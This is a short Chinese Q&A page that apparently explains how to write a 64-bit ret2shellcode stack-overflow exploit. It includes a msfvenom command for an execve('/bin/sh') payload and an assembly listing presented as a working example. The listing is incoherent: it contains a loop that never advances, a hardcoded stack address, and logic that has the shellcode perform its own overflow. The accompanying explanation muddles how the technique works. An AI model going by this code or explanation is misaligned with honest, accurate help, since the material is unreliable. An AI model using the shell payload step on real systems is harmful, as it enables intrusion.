ret2shellcode 64位怎么编写
时间: 2023-05-24 17:07:14 浏览: 202
Performing a ret2libc Attack-InVoLuNTaRy
在64位的ret2shellcode攻击中,需要使用RIP来控制程序的执行流程,而不是使用EIP。因此,需要在shellcode中构造64位的地址来覆盖RIP寄存器。
一般来说,ret2shellcode需要满足以下条件:
1. 执行栈溢出,覆盖返回地址的同时,还要在溢出数据中注入shellcode。
2. 执行栈溢出时需要找到距离返回地址的偏移量。
3. shellcode需要在堆栈中执行。
下面是一份64位ret2shellcode的示例代码:
```assembly
section .text
global _start
_start:
; 执行栈溢出,将shellcode注入到栈中。
; 使用msfvenom生成一段简单的execve("/bin/sh")代码
; msfvenom -a x64 --platform linux -p linux/x64/exec CMD=/bin/sh -f c
; 将生成的shellcode粘贴到这里。
xor esi, esi
mov eax, esi
; 将堆栈指针rsp保存到rbx中
mov rbx, rsp
next:
; 在栈中查找返回地址的偏移量
; 这里的偏移量为40,实际上需要根据目标二进制文件的不同而调整
cmp byte [rsp], 0
jne next
add rsp, 40
; 用shellcode的地址覆盖返回地址
; 这里的地址也需要根据目标二进制文件的不同而调整
mov QWORD [rsp], 0x7fffffffde10
; 跳转到shellcode的地址,开始执行
jmp rbx
```
在这个示例中,我们将用msfvenom生成一个简单的execve("/bin/sh")的shellcode,该shellcode将在栈上执行。然后,我们将查询堆栈来计算返回地址距离堆栈指针的偏移量,并手动向该返回地址写入shell代码的地址。最后,我们将跳转回堆栈指针的位置,开始执行我们的shellcode。
需要注意的是,在实际攻击中,偏移量和地址值可能因目标程序的不同而有所变化。因此,需要针对目标程序进行适当的调整。
阅读全文